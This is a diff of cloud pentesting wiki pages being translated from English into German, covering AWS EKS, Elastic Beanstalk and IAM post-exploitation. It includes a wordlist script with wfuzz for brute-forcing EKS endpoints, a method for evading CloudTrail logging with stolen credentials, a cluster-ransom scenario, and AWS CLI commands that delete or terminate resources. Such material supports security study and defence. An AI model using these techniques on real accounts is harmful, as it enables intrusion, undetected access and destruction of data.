If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
Wenn Sie die Berechtigung **`eks:AccessKubernetesApi`** haben, können Sie **Kubernetes-Objekte** über die AWS EKS-Konsole anzeigen ([Erfahren Sie mehr](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Connect to AWS Kubernetes Cluster
|
||||
|
||||
- Easy way:
|
||||
### Verbindung zum AWS Kubernetes-Cluster herstellen
|
||||
|
||||
- Einfache Methode:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Nicht so einfacher Weg:
|
||||
|
||||
- Not that easy way:
|
||||
|
||||
If you can **get a token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
|
||||
|
||||
In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name):
|
||||
Wenn Sie **ein Token erhalten können** mit **`aws eks get-token --name <cluster_name>`**, aber keine Berechtigungen haben, um Cluster-Informationen abzurufen (describeCluster), könnten Sie **Ihre eigene `~/.kube/config` vorbereiten**. Allerdings benötigen Sie mit dem Token immer noch den **URL-Endpunkt, um sich zu verbinden** (wenn Sie es geschafft haben, ein JWT-Token von einem Pod zu erhalten, lesen Sie [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) und den **Namen des Clusters**.
|
||||
|
||||
In meinem Fall habe ich die Informationen nicht in den CloudWatch-Protokollen gefunden, aber ich **fand sie in den LaunchTemplates userData** und in **EC2-Maschinen in userData ebenfalls**. Sie können diese Informationen in **userData** leicht sehen, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### From AWS to Kubernetes
|
||||
### Von AWS zu Kubernetes
|
||||
|
||||
The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**.
|
||||
Der **Ersteller** des **EKS-Clusters** wird **IMMER** in der Lage sein, in den Kubernetes-Cluster-Bereich der Gruppe **`system:masters`** (k8s-Admin) zu gelangen. Zum Zeitpunkt des Schreibens gibt es **keinen direkten Weg**, um **herauszufinden, wer** den Cluster erstellt hat (Sie können CloudTrail überprüfen). Und es gibt **keinen Weg**, um dieses **Privileg** zu **entfernen**.
|
||||
|
||||
The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**.
|
||||
Der Weg, um **Zugriff auf K8s für weitere AWS IAM-Benutzer oder -Rollen** zu gewähren, ist die Verwendung des **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
|
||||
> Daher wird jeder mit **Schreibzugriff** auf die Config-Map **`aws-auth`** in der Lage sein, den **gesamten Cluster zu gefährden**.
|
||||
|
||||
For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
Für weitere Informationen darüber, wie man **zusätzliche Privilegien für IAM-Rollen & -Benutzer** im **gleichen oder unterschiedlichen Konto** gewährt und wie man dies **ausnutzen** kann, [**privesc überprüfen Sie diese Seite**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
Überprüfen Sie auch[ **diesen großartigen**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **Beitrag, um zu erfahren, wie die Authentifizierung IAM -> Kubernetes funktioniert**.
|
||||
|
||||
### From Kubernetes to AWS
|
||||
### Von Kubernetes zu AWS
|
||||
|
||||
It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
Es ist möglich, eine **OpenID-Authentifizierung für Kubernetes-Dienstkonten** zuzulassen, um ihnen zu ermöglichen, Rollen in AWS zu übernehmen. Erfahren Sie, wie [**das auf dieser Seite funktioniert**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
|
||||
Decoding the JWT token we get the cluster id & also the region.  Knowing that the standard format for EKS url is
|
||||
### GET Api Server-Endpunkt aus einem JWT-Token
|
||||
|
||||
Durch das Dekodieren des JWT-Tokens erhalten wir die Cluster-ID und auch die Region.  Dabei ist das Standardformat für die EKS-URL
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
|
||||
Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one:
|
||||
Fand keine Dokumentation, die die Kriterien für die 'zwei Zeichen' und die 'Zahl' erklärt. Aber bei eigenen Tests sehe ich, dass diese häufig vorkommen:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list
|
||||
|
||||
Jedenfalls sind es nur 3 Zeichen, die wir bruteforcen können. Verwende das folgende Skript, um die Liste zu generieren.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
@@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
|
||||
Then with wfuzz
|
||||
|
||||
Dann mit wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Remember to replace & .
|
||||
> Denken Sie daran, & zu ersetzen.
|
||||
|
||||
### Bypass CloudTrail
|
||||
### Umgehen von CloudTrail
|
||||
|
||||
If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
|
||||
Wenn ein Angreifer die Anmeldeinformationen eines AWS mit **Berechtigungen über ein EKS** erhält. Wenn der Angreifer seine eigene **`kubeconfig`** konfiguriert (ohne **`update-kubeconfig`** aufzurufen), wie zuvor erklärt, generiert **`get-token`** keine Protokolle in CloudTrail, da es nicht mit der AWS-API interagiert (es erstellt das Token nur lokal).
|
||||
|
||||
So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
|
||||
Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **wird CloudTrail nichts protokollieren, das mit dem gestohlenen Benutzer und dem Zugriff darauf zu tun hat**.
|
||||
|
||||
Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
|
||||
Beachten Sie, dass der **EKS-Cluster möglicherweise Protokolle aktiviert hat**, die diesen Zugriff protokollieren (obwohl sie standardmäßig deaktiviert sind).
|
||||
|
||||
### EKS Ransom?
|
||||
### EKS Lösegeld?
|
||||
|
||||
By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster.
|
||||
Standardmäßig hat der **Benutzer oder die Rolle, die** einen Cluster erstellt hat, **IMMER Administratorrechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS über den Kubernetes-Cluster haben wird.
|
||||
|
||||
So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
|
||||
Wenn also ein **Angreifer einen Cluster mit Fargate kompromittiert** und **alle anderen Administratoren entfernt** und **den AWS-Benutzer/die Rolle, die den Cluster erstellt hat, löscht**, ~~könnte der Angreifer **den Cluster erpresst haben**~~**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster.
|
||||
> Beachten Sie, dass es, wenn der Cluster **EC2-VMs** verwendet, möglich sein könnte, Administratorrechte von dem **Knoten** zu erhalten und den Cluster wiederherzustellen.
|
||||
>
|
||||
> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
|
||||
> Tatsächlich, wenn der Cluster Fargate verwendet, könnten Sie EC2-Knoten oder alles zu EC2 in den Cluster verschieben und ihn wiederherstellen, indem Sie auf die Tokens im Knoten zugreifen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information:
|
||||
Für weitere Informationen:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
@@ -13,72 +13,58 @@ For more information:
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up.
|
||||
> TODO: Testen, ob weitere Berechtigungen erforderlich sind
|
||||
|
||||
Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplicationVersion` kann **eine vorhandene Anwendungsversion löschen**. Diese Aktion könnte die Bereitstellungspipelines der Anwendung stören oder den Verlust spezifischer Anwendungsversionen verursachen, wenn diese nicht gesichert sind.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of application deployment and potential loss of application versions.
|
||||
**Potenzielle Auswirkungen**: Störung der Anwendungsbereitstellung und potenzieller Verlust von Anwendungsversionen.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups.
|
||||
> [!HINWEIS]
|
||||
> TODO: Testen, ob weitere Berechtigungen erforderlich sind
|
||||
|
||||
Ein Angreifer mit der Berechtigung `elasticbeanstalk:TerminateEnvironment` kann **eine bestehende Elastic Beanstalk-Umgebung beenden**, was zu Ausfallzeiten der Anwendung und potenziellem Datenverlust führen kann, wenn die Umgebung nicht für Backups konfiguriert ist.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
|
||||
**Potential Impact**: Downtime of the application, potential data loss, and disruption of services.
|
||||
**Potenzielle Auswirkungen**: Ausfall der Anwendung, potenzieller Datenverlust und Störung der Dienste.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up.
|
||||
> [!HINWEIS]
|
||||
> TODO: Testen, ob weitere Berechtigungen erforderlich sind
|
||||
|
||||
Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplication` kann **eine gesamte Elastic Beanstalk-Anwendung löschen**, einschließlich aller ihrer Versionen und Umgebungen. Diese Aktion könnte zu einem erheblichen Verlust von Anwendungsressourcen und -konfigurationen führen, wenn keine Sicherung vorhanden ist.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
|
||||
**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss.
|
||||
**Potenzielle Auswirkungen**: Verlust von Anwendungsressourcen, Konfigurationen, Umgebungen und Anwendungsversionen, was zu Dienstunterbrechungen und potenziellem Datenverlust führen kann.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior.
|
||||
> TODO: Testen, ob weitere Berechtigungen erforderlich sind
|
||||
|
||||
Ein Angreifer mit der Berechtigung `elasticbeanstalk:SwapEnvironmentCNAMEs` kann **die CNAME-Einträge von zwei Elastic Beanstalk-Umgebungen tauschen**, was dazu führen kann, dass die falsche Version der Anwendung den Benutzern bereitgestellt wird oder zu unbeabsichtigtem Verhalten führt.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
|
||||
**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments.
|
||||
**Potenzielle Auswirkungen**: Den Benutzern die falsche Version der Anwendung bereitzustellen oder unbeabsichtigtes Verhalten in der Anwendung aufgrund vertauschter Umgebungen zu verursachen.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management.
|
||||
> [!HINWEIS]
|
||||
> TODO: Testen, ob weitere Berechtigungen erforderlich sind
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `elasticbeanstalk:AddTags` und `elasticbeanstalk:RemoveTags` kann **Tags auf Elastic Beanstalk-Ressourcen hinzufügen oder entfernen**. Diese Aktion könnte zu falscher Ressourcenallokation, Abrechnung oder Ressourcenmanagement führen.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
|
||||
**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags.
|
||||
**Potenzielle Auswirkungen**: Falsche Ressourcenzuweisung, Abrechnung oder Ressourcenverwaltung aufgrund hinzugefügter oder entfernter Tags.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,104 +4,90 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information about IAM access:
|
||||
Für weitere Informationen über IAM-Zugriff:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
## Verwirrtes Stellvertreterproblem
|
||||
|
||||
If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
|
||||
Wenn Sie **einem externen Konto (A)** den Zugriff auf eine **Rolle** in Ihrem Konto erlauben, haben Sie wahrscheinlich **0 Sichtbarkeit** darüber, **wer genau auf dieses externe Konto zugreifen kann**. Das ist ein Problem, denn wenn ein anderes externes Konto (B) auf das externe Konto (A) zugreifen kann, ist es möglich, dass **B auch auf Ihr Konto zugreifen kann**.
|
||||
|
||||
Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
|
||||
Daher ist es möglich, beim Erlauben eines externen Kontos, auf eine Rolle in Ihrem Konto zuzugreifen, eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenfolge, die das externe Konto (A) **angeben muss**, um **die Rolle in Ihrer Organisation zu übernehmen**. Da das **externe Konto B diese Zeichenfolge nicht kennt**, wird es **nicht in der Lage sein, auf Ihre Rolle zuzugreifen**, selbst wenn es Zugriff auf A hat.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
|
||||
|
||||
Example:
|
||||
Beachten Sie jedoch, dass dieses `ExternalId` "Geheimnis" **kein Geheimnis** ist; jeder, der die IAM-Rollenübernahme-Richtlinie **lesen kann, wird es sehen können**. Solange das externe Konto A es kennt, das externe Konto **B es jedoch nicht kennt**, **verhindert es, dass B A missbraucht, um auf Ihre Rolle zuzugreifen**.
|
||||
|
||||
Beispiel:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts.
|
||||
> Damit ein Angreifer einen verwirrten Stellvertreter ausnutzen kann, muss er irgendwie herausfinden, ob die Prinzipale des aktuellen Kontos Rollen in anderen Konten impersonieren können.
|
||||
|
||||
### Unexpected Trusts
|
||||
|
||||
#### Wildcard as principal
|
||||
### Unerwartete Vertrauensstellungen
|
||||
|
||||
#### Platzhalter als Prinzipal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Diese Richtlinie **erlaubt allen AWS**, die Rolle zu übernehmen.
|
||||
|
||||
This policy **allows all AWS** to assume the role.
|
||||
|
||||
#### Service as principal
|
||||
|
||||
#### Dienst als Hauptakteur
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Diese Richtlinie **erlaubt jedem Konto**, ihr apigateway so zu konfigurieren, dass es diese Lambda aufruft.
|
||||
|
||||
This policy **allows any account** to configure their apigateway to call this Lambda.
|
||||
|
||||
#### S3 as principal
|
||||
|
||||
#### S3 als Hauptakteur
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
